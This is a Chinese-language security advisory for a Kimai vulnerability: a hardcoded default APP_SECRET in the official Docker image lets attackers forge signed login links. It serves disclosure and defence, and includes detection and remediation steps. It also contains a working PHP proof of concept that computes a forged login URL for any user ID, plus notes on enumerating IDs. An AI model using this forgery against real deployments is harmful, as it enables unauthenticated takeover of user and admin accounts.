| 字段 | 值 |
|---|---|
| CVE | CVE-2026-52824 |
| 公告 | GHSA-jr9p-4h4j-6c58 |
| 严重性 | 严重 |
| CWE | CWE-1188,使用不安全默认值初始化资源 |
| 受影响版本 | kimai/kimai <= 2.57.0 |
| 已修复版本 | 2.58.0 |
| 公告发布时间 | 2026-06-11 |
| 添加到 GitHub 公告数据库 | 2026-07-14 |
| 报告者 | AzureADTrent |
官方 Kimai Docker 镜像内置了硬编码的 APP_SECRET。该值会成为 Symfony 的 kernel.secret,用于对登录链接、remember-me Cookie、密码重置 URL 和 CSRF 令牌进行签名。由于 Kimai 的登录链接签名仅覆盖用户的 id,知道该密钥的未认证攻击者可以在离线状态下计算出有效的登录链接,并以任意用户身份完成认证。
Dockerfile:263 设置了:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 将其消费为 kernel.secret:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh 未对该哨兵值做任何检查,.env.dist:38 也为裸机安装提供了相同的默认值。启动时没有任何防护机制拒绝在默认配置下启动。
因此,任何未显式覆盖 APP_SECRET 的 Docker 部署都会使用一个公开已知的签名密钥运行。
Kimai 在 /en/auth/link/check 处消费登录链接,参数为 user、expires 和 hash。该 hash 由 44 字符的 HMAC 与 44 字符的字段哈希直接拼接而成,与 acceptSignatureHash() 的校验逻辑匹配,后者在第 44 个偏移处进行拆分。
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
成功的请求会返回 302 状态码,并为目标账户设置 KIMAI_REMEMBER Cookie。
expires 位于 HMAC 内部且由攻击者控制,验证逻辑只会拒绝已经过去的时间戳——verifySignatureHash() 仅测试 $expires < time(),除此之外别无其他。配置的 lifetime: 900 只控制链接的生成,验证时完全不会查询它,因此伪造的链接可以携带任意遥远的过期时间。
max_uses: 3 同样无关紧要。它限制的是单个已签发链接的重用次数;攻击者每次尝试都会重新生成一个新链接。
公告列出了三个前提条件:用户名已知、猜中正确的账户 ID、目标账户未启用有效的双因素认证(2FA)。
实际上这些前提条件都很薄弱。用户 ID 从 1 开始顺序分配,第一个 super_admin 通常就是 ID 1,而且每次尝试只需一个未认证的 GET 请求。用户名和 ID 空间都可以被批量尝试。双因素认证是唯一能够切实阻断该攻击的前提条件。
本地检查:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
若 APP_SECRET 仍为哨兵值且不存在 .appsecret 文件,则表明部署存在漏洞。
升级到 2.58.0 或更高版本。修复内容:
APP_SECRETbin2hex(random_bytes(32)) 生成密钥,将其存储在 /opt/kimai/var/data/.appsecret,并写入 /opt/kimai/.env.local如果无法立即升级,请显式设置一个唯一的高熵密钥:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
轮换 APP_SECRET 会使现有的 remember-me Cookie、待处理的密码重置链接以及进行中的 CSRF 令牌全部失效;用户需要重新登录。无论能否确认是否发生泄露,执行轮换和会话失效都是安全的操作。无法确定自身状态的管理员应当轮换,而不是想当然地假定安全。
projectdiscovery/nuclei-templates 中公开发布本分析延迟发布,直至相关机制已独立公开。